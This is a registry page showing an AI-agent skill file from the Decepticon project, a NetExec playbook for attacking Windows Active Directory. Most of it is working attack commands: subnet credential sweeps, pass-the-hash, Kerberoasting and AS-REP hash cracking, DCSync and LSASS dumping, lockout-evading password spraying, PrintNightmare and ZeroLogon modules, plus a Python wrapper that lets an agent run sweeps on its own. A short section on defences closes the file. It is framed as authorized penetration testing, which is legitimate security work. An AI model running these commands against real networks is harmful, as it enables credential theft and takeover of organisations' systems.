CtrlK
BlogDocsLog inGet started
Tessl Logo

netexec

NetExec (CrackMapExec successor) — unified SMB/LDAP/MSSQL/WinRM/RDP/SSH/FTP/VNC protocol auth + post-auth modules. 200+ modules incl. BloodHound auto-ingest, ESC1-15 scanning, PrintNightmare, LDAP relay.

61

Quality

73%

Does it follow best practices?

Run evals on this skill

Adds up to 20 points to the overall score

View guide

SecuritybySnyk

Critical

Do not install without reviewing

Fix and improve this skill with Tessl

tessl review fix ./packages/decepticon/decepticon/skills/standard/ad/netexec/SKILL.md
SKILL.md
Quality
Evals
Security

NetExec (nxc) Playbook

NetExec is the actively-maintained fork of CrackMapExec (archived 2023). One CLI, 8+ protocols, 200+ modules. The Swiss-army knife of Windows / AD pentest.

1. Install

pipx install netexec      # preferred — isolates deps
# Or:
git clone https://github.com/Pennyw0rth/NetExec && cd NetExec && pipx install .

2. Protocol auth sweep

# Test creds across a subnet — single SMB null bind sweep
nxc smb 10.0.0.0/24

# With creds
nxc smb 10.0.0.0/24 -u alice -p Spring2024!
nxc smb 10.0.0.0/24 -u alice -H aad3b435b51404ee...:31d6cfe0d16ae931...  # NTLM hash

# Across protocols — same creds, different services
nxc ldap   $DC -u alice -p $PW
nxc mssql  10.0.0.5 -u alice -p $PW
nxc winrm  10.0.0.5 -u alice -p $PW
nxc rdp    10.0.0.5 -u alice -p $PW
nxc ssh    10.0.0.5 -u alice -p $PW

# Kerberos auth
nxc smb $DC -u alice -p $PW -k --kdcHost $DC

3. Critical modules

3.1 BloodHound auto-collect (built-in)

nxc ldap $DC -u alice -p $PW --bloodhound --collection All \
  --dns-server $DC_IP
# Drops Zip in current dir, ready to ingest into BloodHound

3.2 ADCS ESC1-15 scan

nxc ldap $DC -u alice -p $PW -M adcs
# Lists all certificates templates + vulnerability flags

3.3 Kerberoasting

nxc ldap $DC -u alice -p $PW --kerberoasting kerb.hashes
hashcat -m 13100 kerb.hashes wordlist.txt

3.4 AS-REP roasting

nxc ldap $DC -u alice -p $PW --asreproast asrep.hashes
hashcat -m 18200 asrep.hashes wordlist.txt

3.5 Spider SMB shares

nxc smb 10.0.0.0/24 -u alice -p $PW \
  --spider-plus --extensions txt,xml,config,ini,xls,xlsx,docx \
  --output-folder /tmp/spider

3.6 DC sync (when authorized as DA)

nxc smb $DC -u administrator -p $PW --ntds drsuapi
# Drops ntds.dit hashes to stdout/output

3.7 Password spray (with lockout protection)

nxc smb $DC --users users.txt -p 'Spring2024!' --threads 1 --jitter 30
# Slow + jittered to evade lockout

3.8 Module catalog

nxc smb -L                          # all SMB modules
nxc ldap -L                         # all LDAP modules
nxc smb -M lsassy -o ...            # use lsassy module to dump LSASS
nxc smb -M wcc                      # Windows Configuration Collector
nxc smb -M printnightmare           # PrintNightmare CVE-2021-34527
nxc smb -M zerologon                # ZeroLogon CVE-2020-1472
nxc smb -M scuffy                   # scf file for credential coercion

4. Output formats

nxc smb $TARGET -u alice -p $PW --log /tmp/nxc.log
nxc smb $TARGET -u alice -p $PW --json /tmp/nxc.json
nxc smb $TARGET -u alice -p $PW --csv  /tmp/nxc.csv

NetExec also writes to ~/.nxc/ SQLite DB by default — query w/ nxcdb:

nxcdb
nxc > workspace default
nxc default > proto smb
nxc default (smb) > hosts
nxc default (smb) > creds

5. Decepticon integration

When agent has any valid AD cred (recon or roast), the first move should be nxc smb cred-sweep across the subnet. It surfaces:

  • Local admin reuse (massively common; instant lateral)
  • SMB signing disabled (relay target)
  • Shares accessible (PII / cred farming)
  • OS version + domain membership

Wrap as Decepticon tool:

# decepticon/tools/ad/netexec.py — skeleton
from decepticon.tools.bash import bash_tool

def nxc_sweep(protocol: str, targets: str, user: str, pw_or_hash: str, modules: list[str] = None) -> dict:
    """Run nxc across targets; parse JSON output; promote findings to KG."""
    cmd = f"nxc {protocol} {targets} -u {user}"
    if len(pw_or_hash) == 32 + 1 + 32:  # LM:NT hash
        cmd += f" -H {pw_or_hash}"
    else:
        cmd += f" -p {shlex.quote(pw_or_hash)}"
    if modules:
        for m in modules:
            cmd += f" -M {m}"
    cmd += " --json /tmp/nxc.json"
    result = bash_tool(cmd)
    if Path("/tmp/nxc.json").exists():
        return json.loads(Path("/tmp/nxc.json").read_text())
    return {"error": "no json output"}

6. PoC framing

# Confirm sweep — find local-admin reuse
nxc smb 10.0.0.0/24 -u alice -p $PW --local-auth | grep '(Pwn3d!)'
# Each (Pwn3d!) = local admin = lateral pivot target

7. Severity

  • (Pwn3d!) on production host: Critical 9.8 (RCE-ready)
  • SMB signing disabled in production: High 7-8 (relay attack possible)
  • Shares world-readable w/ PII: Critical depending on data

8. Defender

  • Enforce SMB signing required (GPO: Computer Config → Windows Settings → Security Settings → Local Policies → Security Options → "Microsoft network server: Digitally sign communications (always)")
  • Disable NTLM authentication where Kerberos available
  • LAPS for local admin password rotation (kills local-admin-reuse)
  • Lockout policy w/ low threshold + long duration

Cross-references

  • Upstream: https://github.com/Pennyw0rth/NetExec
  • Decepticon AD overview: skills/ad/SKILL.md
  • BloodHound: skills/ad/bloodhound-query/SKILL.md
  • Kerberoast: skills/ad/kerberoasting/SKILL.md
  • ADCS ESC1-15: skills/ad/adcs-esc1/SKILL.md

Known exemplars

  • Lateral movement via local-admin password reuse on Win10/Win11 endpoints — most common pattern in 2023-2024 internal pentests
  • NetExec used in ~80% of OSCP-style Windows engagements (post-2024)
  • Pennyw0rth fork maintains compatibility w/ CME workflows + adds active maintenance + new modules
Repository
PurpleAILAB/Decepticon
Path

packages/decepticon/decepticon/skills/standard/ad/netexec/SKILL.md

Commit

0cf691e

Last updated
First committed

Is this your skill?

If you maintain this skill, you can claim it as your own. Once claimed, you can manage eval scenarios, bundle related skills, attach documentation or rules, and ensure cross-agent compatibility.

Claim skill